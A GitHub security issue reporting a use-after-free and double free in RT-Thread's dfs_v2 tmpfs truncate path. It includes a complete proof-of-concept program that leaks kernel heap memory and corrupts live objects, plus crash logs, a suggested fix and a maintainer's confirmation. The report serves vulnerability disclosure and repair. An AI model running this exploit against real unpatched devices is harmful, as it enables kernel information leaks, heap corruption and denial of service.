Skip to content

[Bug] dfs_v2 tmpfs: ftruncate(fd, 0) frees the file buffer but reports success — use-after-free read/write and double free from a legal POSIX call #11902

Open

Description

@XueDugu

[Bug] dfs_v2 tmpfs: ftruncate(fd, 0) frees the file buffer but reports success — use-after-free read/write and double free from a legal POSIX call

RT-Thread Version: master (v5.4.0-dev, verified unfixed on 2026-10-20); introduced by commit 75b4f3d83a473c761fb1b08e6f1e08284d944d57 (2023-09-20, PR #8063); first affected release v5.0.2 — v5.0.2 / v5.1.0 / v5.2.0 / v5.2.1 / v5.2.2 / v5.3.0 / master all affected (verified by reading the file at each tag).

Affected area: Filesystem (components/dfs — dfs_v2 + tmpfs)

Hardware-BSP vendor: Other

Architecture: all (any config with RT_USING_DFS_V2 + RT_USING_DFS_TMPFS); reproduced on aarch64 (QEMU virt, RT-Smart) and Cortex-M33 (RP2350)

Board and hardware details:

  1. QEMU qemu-virt64-aarch64, RT_USING_SMART + RT_USING_DFS_V2 + RT_USING_DFS_TMPFS, tmpfs mounted, ELF rootfs on elm/FAT (virtio-blk).
  2. Raspberry Pi Pico 2 W (RP2350): pico-sdk application linking the unmodified RT-Thread kernel + dfs_v2 + tmpfs sources, USB CDC console.

Develop Toolchain: GCC (official CI aarch64-linux-musleabi gcc 7.3.0 kernel build; arm-none-eabi 10.3 for RP2350)

Describe the bug

dfs_tmpfs_truncate() (components/dfs/dfs_v2/filesystems/tmpfs/dfs_tmpfs.c, added in commit 75b4f3d) does:

ptr = rt_realloc(d_file->data, offset);
if (ptr == RT_NULL)
{
    rt_set_errno(-ENOMEM);
    return 0;          /* <-- reports SUCCESS */
}

rt_realloc(ptr, 0) is specified by both RT-Thread heap backends to free the block and return NULL:

  • rt_memheap_realloc() (src/memheap.c): if (newsize == 0) { rt_memheap_free(ptr); return RT_NULL; }
  • rt_smem_realloc() (src/mem.c): else if (newsize == 0) { rt_smem_free(rmem); return RT_NULL; }

So the completely legal call ftruncate(fd, 0) on a tmpfs file that has data:

  1. frees d_file->data,
  2. returns 0 (success) to the application,
  3. leaves d_file->data dangling and d_file->size / vnode->size stale.

Every subsequent operation on the file operates on freed kernel heap memory:

  • read() → memcpy(buf, &d_file->data[pos]) — kernel heap UAF read (info disclosure, incl. allocator metadata);
  • write() → memcpy(d_file->data + pos, buf, len) — kernel heap UAF write;
  • unlink() / close(O_TRUNC) / open(O_TRUNC) — second rt_free() of the same chunk (double free);
  • with RT_USING_PAGECACHE (default y under RT_USING_SMART), close() flushes the dirty page and deterministically data-aborts the kernel in dfs_aspace_flush() (dfs_pcache.c:1733) because aspace->vnode has been corrupted by the UAF write.

Reproduction 1 — QEMU, RT-Smart, unprivileged user process, only official syscalls

Build bsp/qemu-virt64-aarch64 with RT_USING_SMART + RT_USING_DFS_TMPFS (page cache default on), FAT rootfs. The freestanding user program below (raw svc, no libc) mounts tmpfs at a pre-created /tmp2 directory, then exercises the bug. Boot, then:

msh /> sys_log 1
msh /> /ftrunc_uaf.elf
[poc] mount(/tmp2, tmp) ret = 0x0
[poc] open(/tmp2/a) fd = 3
[poc] write(A pattern) n = 0x800
[poc] control ftruncate(fd,4096) ret = 0x0
[poc] ftruncate(fd,0) ret = 0x0                    <- returns success, buffer freed
[poc] UAF read n = 0x40
[poc] leaked0: 5b 70 6f 63 5d 20 66 74 72 75 6e 63 61 74 65 28   <- "[poc] ftruncat(e("
[poc] open(/tmp2/b) fd = 4
[poc] write(B pattern) n = 0x800
[poc] UAF write via fd_a n = 0x11                  <- console output garbles right after:
                                                       the write corrupted a live kernel object
exception info: Data abort, fault addr 0x68
  dfs_aspace_flush   dfs_pcache.c:1733             <- triggered by close(fd) from user mode
  dfs_file_close     dfs_file.c:978
  dfs_fdtable_drop_fd dfs.c:764
  close              dfs_posix.c:295
  sys_close          lwp_syscall.c:760
  _SVC_Handler       lwp_gcc.S:177
  => deterministic whole-kernel abort from one close()

The leaked bytes "[poc] ftruncat(e(" are the contents of the freed chunk after the kernel reused it for another live object (sys_log's copy buffer).

Control run (same program without the zero-length truncate): read returns the real file content ("AaAa..."), close/unlink are clean, system stays alive and later msh commands work.

GDB hardware-watchpoint evidence (break on dfs_tmpfs_truncate(offset==0), watch d_file->data = 0xffff00000029b6b0): the first write into the freed chunk comes from sys_log() -> lwp_get_from_user(dst = <freed chunk>) — the kernel has already reallocated the freed chunk while tmpfs still holds the dangling pointer; later watch hits show the UAF write mangling that live object. Full transcript: dfs_tmpfs_truncate(file=..., offset=0) backtrace sys_ftruncate -> ftruncate -> dfs_file_ftruncate, watchpoint Old/New values per hit.

Reproduction 2 — real hardware (Raspberry Pi Pico 2 W, RP2350, Cortex-M33)

A pico-sdk application links the unmodified RT-Thread kernel + dfs_v2 + tmpfs sources (kernel-mode, kernel heap via RT_USING_SMALL_MEM_AS_HEAP) and runs a small shell over USB CDC. The trigger is the same dfs_poc sequence (mount tmpfs → open → write → ftruncate(fd,0) → read/write through the dangling fd):

dfs_poc
dfs_poc: tmpfs mounted at /dev
dfs_poc: wrote 512 bytes of AaAa pattern
dfs_poc: control ftruncate(fd,512) ret=0
dfs_poc: ftruncate(fd,0) ret=0  <- returns success
dfs_poc: read after truncate returned 64 bytes: 00 00 00 00 00 00 00 00 00 00 00 00 20 43 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
dfs_poc: write via dangling fd ret=17 (heap corruption)

20 43 00 20 (little-endian 0x20004320) is a small_mem free-list pointer: after ftruncate(fd,0) "succeeded", read() served 64 bytes of the freed chunk's allocator metadata to the caller — a kernel heap address disclosure — and the following write() stored 17 attacker bytes through the dangling pointer.

dfs_poc kill (adds unlink() = second free of the same chunk, then 16 same-size allocations):

dfs_poc: kill mode: unlink -> second free of same chunk
[

Console output stops mid-line during the spray: the double-freed chunk corrupts the free list and the subsequent allocations destroy the kernel output path itself. The board has to be power-cycled.

Expected result

ftruncate(fd, 0) must truncate the file to zero length and return 0 while keeping all internal state consistent: a subsequent read() returns 0 bytes, a write() starts a fresh allocation, and unlink()/close() free the buffer exactly once. An allocation failure must be reported as -ENOMEM, never as success. A fixed build prints read-after-truncate returned 0 bytes.

Full PoC (reproduction 1, self-contained)

/*
 * RT-Thread dfs_v2 tmpfs ftruncate(0) UAF PoC — freestanding RT-Smart user program.
 *
 * Bug (V1): dfs_tmpfs_truncate() (components/dfs/dfs_v2/filesystems/tmpfs/dfs_tmpfs.c)
 *   calls rt_realloc(d_file->data, 0). Both RT-Thread heap backends implement
 *   realloc(ptr, 0) as **free(ptr) + return NULL** (src/memheap.c rt_memheap_realloc,
 *   src/mem.c rt_smem_realloc). The NULL return is then treated as an allocation
 *   failure: the function returns 0 (= success!) while d_file->data is left
 *   dangling and d_file->size / vnode->size keep the old value.
 *   => any later read()/write()/unlink()/close() on the file operates on freed
 *      kernel heap memory: UAF read (info leak), UAF write (heap corruption),
 *      double free.
 *
 * Trigger is the perfectly legal POSIX call ftruncate(fd, 0).
 *
 * This program (unprivileged user process) does:
 *   1. mount tmpfs at /tmp2                      (svc 176, product boot-script equivalent)
 *   2. create /tmp2/a and fill it with a pattern (kernel heap buffer allocated)
 *   3. ftruncate(fd_a, 0) -> returns 0            [BUG: data freed, sizes stale]
 *   4. [leak]   read back via pread-equivalent lseek+read -> freed-chunk contents
 *              (memheap free-list pointers) instead of the old pattern
 *   5. [alias write] create /tmp2/b of the same size (reuses the freed chunk),
 *              write through dangling fd_a, read fd_b -> foreign file modified
 *   6. control: ftruncate(fd, 4096) grow path + normal IO still works, system alive
 *
 * Build: aarch64-linux-musleabi-gcc -nostdlib -static -no-pie -nostartfiles \
 *          -T lwp_poc.ld -O2 -ffreestanding -o ftrunc_uaf.elf ftrunc_uaf.c
 * Load : msh /> /ftrunc_uaf.elf          (requires: sys_log 1)
 */

typedef unsigned long u64;
typedef long          s64;
typedef unsigned int  u32;

static inline u64 sys_call7(u64 n, u64 a, u64 b, u64 c, u64 d, u64 e, u64 f)
{
    register u64 x8 __asm__("x8") = n;
    register u64 x0 __asm__("x0") = a;
    register u64 x1 __asm__("x1") = b;
    register u64 x2 __asm__("x2") = c;
    register u64 x3 __asm__("x3") = d;
    register u64 x4 __asm__("x4") = e;
    register u64 x5 __asm__("x5") = f;
    __asm__ volatile("svc #0"
                     : "+r"(x0)
                     : "r"(x8), "r"(x1), "r"(x2), "r"(x3), "r"(x4), "r"(x5)
                     : "memory", "cc");
    return x0;
}

/* numbers verified against func_table[] in the built rtthread.elf */
#define SYS_exit        1
#define SYS_read        2
#define SYS_write       3
#define SYS_lseek       4
#define SYS_open        5
#define SYS_close       6
#define SYS_unlink      118
#define SYS_mount       176
#define SYS_ftruncate   201
#define SYS_log         0xff

#define O_RDWR     0x00000002
#define O_CREAT    0x00000040
#define O_TRUNC    0x00000200
#define SEEK_SET   0

static int slen(const char *s) { int n = 0; while (s[n]) n++; return n; }
static void klog(const char *s) { sys_call7(SYS_log, (u64)s, slen(s), 0, 0, 0, 0); }

static char g_buf[160];
static void klog_hex(const char *tag, const void *data, int len)
{
    const unsigned char *d = data;
    for (int off = 0; off < len; off += 16)
    {
        char *p = g_buf;
        while (*tag) *p++ = *tag++;
        *p++ = '0' + (off / 16 % 10); *p++ = ':'; *p++ = ' ';
        for (int i = 0; i < 16 && off + i < len; i++)
        {
            u32 b = d[off + i];
            *p++ = "0123456789abcdef"[b >> 4];
            *p++ = "0123456789abcdef"[b & 0xf];
            *p++ = ' ';
        }
        *p = 0;
        klog(g_buf);
        tag = "";
    }
}
static void klog_val(const char *tag, u64 v)
{
    char *p = g_buf;
    while (*tag) *p++ = *tag++;
    *p++ = '0'; *p++ = 'x';
    for (int i = 15; i >= 0; i--)
    {
        u32 nib = (v >> (i * 4)) & 0xf;
        *p++ = nib < 10 ? '0' + nib : 'a' + nib - 10;
    }
    *p = 0;
    klog(g_buf);
}

#define FILE_A "/tmp2/a"
#define FILE_B "/tmp2/b"
#define BUFSZ  0x800          /* chunk size kept identical for allocator reuse */

static char pat_a[BUFSZ];
static char pat_b[BUFSZ];
static char rbuf[BUFSZ];

static void fill(char *buf, char c0, char c1)
{
    for (int i = 0; i < BUFSZ; i++) buf[i] = (i & 1) ? c1 : c0;
}

void _start(void)
{
    klog("[poc] dfs_v2 tmpfs ftruncate(0) UAF PoC start");

    /* 1. mount tmpfs at /tmp2 (mountpoint dir pre-created in rootfs image) */
    s64 m = (s64)sys_call7(SYS_mount, (u64)"tmp", (u64)"/tmp2", (u64)"tmp", 0, 0, 0);
    klog_val("[poc] mount(/tmp2, tmp) ret = ", (u64)m);

    /* 2. create file A with pattern -> kernel heap alloc for d_file->data */
    fill(pat_a, 'A', 'a');
    s64 fda = (s64)sys_call7(SYS_open, (u64)FILE_A, O_RDWR | O_CREAT, 0666, 0, 0, 0);
    klog_val("[poc] open(" FILE_A ") fd = ", (u64)fda);
    if (fda < 0) goto out;

    s64 n = (s64)sys_call7(SYS_write, fda, (u64)pat_a, BUFSZ, 0, 0, 0);
    klog_val("[poc] write(A pattern) n = ", (u64)n);

    /* control: ftruncate grow (non-zero) keeps working */
    s64 cg = (s64)sys_call7(SYS_ftruncate, fda, 0x1000, 0, 0, 0, 0);
    klog_val("[poc] control ftruncate(fd,4096) ret = ", (u64)cg);

    /* 3. THE BUG: ftruncate(fd, 0) — legal POSIX truncation */
    s64 r = (s64)sys_call7(SYS_ftruncate, fda, 0, 0, 0, 0, 0);
    klog_val("[poc] ftruncate(fd,0) ret = ", (u64)r);

    /* 4. UAF READ: sizes are stale, so the kernel happily memcpy's from the
     *    freed chunk: first 16 bytes are memheap freelist pointers, not 'A'/'a'. */
    sys_call7(SYS_lseek, fda, 0, SEEK_SET, 0, 0, 0);
    for (int i = 0; i < 64; i++) rbuf[i] = '.';
    n = (s64)sys_call7(SYS_read, fda, (u64)rbuf, 64, 0, 0, 0);
    klog_val("[poc] UAF read n = ", (u64)n);
    klog_hex("[poc] leaked", rbuf, 64);

    /* 5. UAF WRITE via alias: file B of the same size reuses the freed chunk */
    fill(pat_b, 'B', 'b');
    s64 fdb = (s64)sys_call7(SYS_open, (u64)FILE_B, O_RDWR | O_CREAT, 0666, 0, 0, 0);
    klog_val("[poc] open(" FILE_B ") fd = ", (u64)fdb);
    n = (s64)sys_call7(SYS_write, fdb, (u64)pat_b, BUFSZ, 0, 0, 0);
    klog_val("[poc] write(B pattern) n = ", (u64)n);

    /* write through the DANGLING file A onto (very likely) B's live buffer */
    static const char magic[] = "P0WNED-UAF-WRITE!";
    sys_call7(SYS_lseek, fda, 0, SEEK_SET, 0, 0, 0);
    n = (s64)sys_call7(SYS_write, fda, (u64)magic, sizeof(magic) - 1, 0, 0, 0);
    klog_val("[poc] UAF write via fd_a n = ", (u64)n);

    /* read B back through ITS fd: if it shows the magic, the freed A buffer
     * aliases B's live kernel heap buffer (cross-object corruption) */
    sys_call7(SYS_lseek, fdb, 0, SEEK_SET, 0, 0, 0);
    n = (s64)sys_call7(SYS_read, fdb, (u64)rbuf, 32, 0, 0, 0);
    klog_val("[poc] readback fd_b n = ", (u64)n);
    klog_hex("[poc] fd_b[0..32)", rbuf, 32);
    {
        const char *q = rbuf;
        int hit = 1;
        for (u32 i = 0; i < sizeof(magic) - 1; i++)
            if (q[i] != magic[i]) { hit = 0; break; }
        klog(hit ? "[poc] RESULT: UAF write crossed onto file B -> heap alias CONFIRMED"
                 : "[poc] RESULT: fd_b unchanged this round (allocator did not reuse; see GDB run)");
    }

    /* leave system alive: this is the non-destructive demo run.
     * double-free/crash variant is ftrunc_df.elf (same steps + unlink). */

    sys_call7(SYS_close, fda, 0, 0, 0, 0, 0);
    sys_call7(SYS_close, fdb, 0, 0, 0, 0, 0);
    klog("[poc] control: system still alive (msh returns normally)");
out:
    sys_call7(SYS_exit, 0, 0, 0, 0, 0, 0);
    for (;;) ;
}

Build (official CI toolchain for RT-Smart userland):

aarch64-linux-musleabi-gcc -nostdlib -static -no-pie -nostartfiles \
    -T lwp_poc.ld -O2 -ffreestanding -o ftrunc_uaf.elf ftrunc_uaf.c

with lwp_poc.ld placing the image in the RT-Smart user range:

OUTPUT_ARCH(aarch64)
ENTRY(_start)
SECTIONS
{
    . = 0x10000000;
    .text : { KEEP(*(.text.first)) *(.text .text.*) }
    .rodata : { *(.rodata .rodata.*) }
    .data : { *(.data .data.*) }
    .bss : { *(.bss .bss.*) *(COMMON) }
    /DISCARD/ : { *(.comment) *(.note*) *(.eh_frame*) }
}

Reproduction-2 harness notes (RP2350): pico-sdk owns startup/clocks/USB CDC; the RT-Thread side needs RT_USING_SMALL_MEM_AS_HEAP (otherwise the system heap macros expand empty and rt_malloc silently returns NULL), the tmpfs root mount point must keep dentry paths slashed (mount at /dev, not /), and the OS tick must come from a pico-sdk hardware alarm (add_repeating_timer_ms → rt_tick_increase) because the Cortex-M SysTick exception is never taken in this pico-sdk crt0 environment. The trigger function is the same dfs_poc() sequence shown in the log above (mount, open, write 512-byte pattern, ftruncate(fd,0), read/write through the fd, unlink).

Root cause / suggested fix

static int dfs_tmpfs_truncate(struct dfs_file *file, off_t offset)
{
    ...
    if (offset < 0) return -EINVAL;
    if (offset == 0)                 /* explicit clear */
    {
        if (d_file->data) { rt_free(d_file->data); d_file->data = RT_NULL; }
        d_file->size = 0;
        file->vnode->size = 0;
        /* drop cached pages if RT_USING_PAGECACHE */
        return 0;
    }
    ptr = rt_realloc(d_file->data, offset);
    if (ptr == RT_NULL) return -ENOMEM;   /* propagate failure, NOT 0 */
    ...
}

Also worth reviewing the same rt_realloc(ptr, 0) pattern across the tree, and adding a negative-length check in dfs_file_ftruncate().

Other additional context

  • Severity: CVSS 3.1 8.6 AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H — CWE-416 (UAF), CWE-415 (double free). Prerequisites (explicit): RT_USING_DFS_V2 + RT_USING_DFS_TMPFS with a mounted tmpfs (the documented way to provide /tmp); the attacker can execute code — an unprivileged user process under RT-Smart (reproduced) or any kernel-mode application/msh script. No malformed arguments: ftruncate(fd, 0) is the standard way to empty a file. Confirmed information disclosure (kernel heap contents incl. free-list pointers) and heap corruption primitives on both QEMU/RT-Smart and real hardware; deterministic kernel abort via close().
  • Not related to [Security] pread() with a large negative offset bypasses rw_verify_area() causing OOB heap read in tmpfs (info leak / crash) #11737 (pread negative offset): different root cause (realloc(0) semantics misuse vs. offset validation), different trigger (a legal call vs. a malformed argument), different CWE.
  • Introduced by 75b4f3d8 (PR dfs_v2 tmpfs adds truncate functionality and unlink adaptations #8063, "tmpfs adds truncate functionality and unlink adaptations"); verified present and unfixed on master as of 2026-10-20.

Activity

  1. github-actions commented on Oct 19, 2026

    @github-actions

    如需认领并处理此 Issue,请评论 /claim。

    To claim and work on this issue, comment /claim.

  2. remukisama commented on Oct 20, 2026

    @remukisama

    /claim

  3. github-actions commented on Oct 20, 2026

    @github-actions

    @remukisama has claimed this issue.

  4. Yunlk commented on Oct 20, 2026

    @Yunlk

    qemu-virt64-aarch64(RT-Smart)设备侧复现:ftruncate(fd, 0) 返回成功并触发双重释放

    环境:master 1c801efa,bsp/qemu-virt64-aarch64(RT_USING_SMART),QEMU 11.0.0 virt + GICv3,aarch64-none-elf-gcc 15.2.1,RT_USING_DFS_V2 + RT_USING_DFS_TMPFS,heap = memheap。

    按报告的最小序列复现,连续两次运行结果完全一致(同样的返回值、同样的断言、同样的返回地址)。

    复现步骤

    1. mkdir("/dev/shm") → dfs_mount(RT_NULL, "/dev/shm", "tmp", 0, RT_NULL)
    2. open(O_RDWR|O_CREAT),写入 4096 字节已知图案
    3. ftruncate(fd, 4096) → ret=0
    4. ftruncate(fd, 0) → ret=0,errno=-12 (-ENOMEM)
    5. lseek(fd, 0, SEEK_SET);read(fd, buf, 64) → 64 字节,内容仍是原图案
    6. close(fd) → ret=0
    7. unlink() → memheap 断言失败

    串口日志

    write(4096) -> 4096
    ftruncate(fd, 4096) -> ret=0 errno=0
    >>> ftruncate(fd, 0) -> ret=0 errno=-12   (reported SUCCESS)
    lseek(0) -> 0
    read(64) -> 64
      got    first 8: 03 0A 11 18 1F 26 2D 34
      expect first 8: 03 0A 11 18 1F 26 2D 34
      => still matches original pattern
    >>> close(fd) -> ret=0 errno=0
    (header_ptr->magic == (RT_MEMHEAP_MAGIC | RT_MEMHEAP_USED)) assertion failed
        at function:rt_memheap_free, line number:619
    

    调用栈(addr2line 还原)

    rt_assert_handler     src/kservice.c:1553
    rt_memheap_free       src/memheap.c:619      <- magic 断言失败
    _memheap_free         src/memheap.c:816
    rt_free               src/kservice.c:1249
    dfs_tmpfs_unlink      components/dfs/dfs_v2/filesystems/tmpfs/dfs_tmpfs.c:708
    dfs_file_unlink       components/dfs/dfs_v2/src/dfs_file.c:1892
    unlink                components/dfs/dfs_v2/src/dfs_posix.c:511
    

    与代码的对应关系

    • dfs_tmpfs.c:1025 调用 rt_realloc(d_file->data, offset)。offset == 0 时 _memheap_realloc 在 memheap.c:830-834 走 _memheap_free(rmem); return RT_NULL;,即「释放并返回空」。
    • dfs_tmpfs.c:1026-1030 把这个 NULL 当作分配失败:rt_set_errno(-ENOMEM); return 0;。应用层看到的是成功,而缓冲区其实已经被释放。
    • 因为提前 return,后面 1037-1039 的 d_file->data = ptr; d_file->size = offset; 全被跳过,于是 d_file->data 悬空、d_file->size 仍是旧值。
    • read 仍按旧 size 从已释放的块里取数据,这就是上面日志里「读回的仍是原图案」——UAF 读,拿到的内容是已经被归还给堆管理器的内存。
    • unlink 在 dentry->ref_count == 1 时执行 rt_free(d_file->data)(dfs_tmpfs.c:708),对已释放块二次释放,触发 rt_memheap_free 的 magic 断言。

    补充一点:dfs_tmpfs_close:485 的释放受 d_file->fre_memory 保护,本例中 close 时该标志为假所以没有释放,崩溃点因此落在 unlink;若 fre_memory 为真,close 就会立刻二次释放。

    建议的修复方向

    1. offset == 0 单独处理:显式 rt_free(d_file->data),把 d_file->data 置 NULL、d_file->size 与 file->vnode->size 清零,然后 return 0。
    2. 真正的分配失败应 return -ENOMEM,不要返回 0。
    3. 顺带评估负 offset:当前函数里没有看到对 offset < 0 的显式校验,rt_realloc(data, (rt_size_t)负值) 会变成一个巨大的 size,建议一并加上。

    附:一个相关的独立观察(不影响本问题结论)

    该 BSP 上 root 的 elm 挂载失败(mount / failed with file system type: elm)之后并不存在根挂载点。此时把 tmpfs 直接挂到 "/" 会返回成功,但之后对根目录的 create 一律失败(mkdir 返回 -1,open(O_CREAT) 返回 ENOENT);而 dfs_mount 对不存在的父挂载点报的是 mount point (...) already mounted!(dfs_fs.c:405),与真实原因(没有父挂载点)不符,排查时很误导。最终改在 /dev/shm 上挂载才正常。这一点可以另开 issue,与 tmpfs 截断问题无关。

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

Labels

Type

No type

Projects

No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions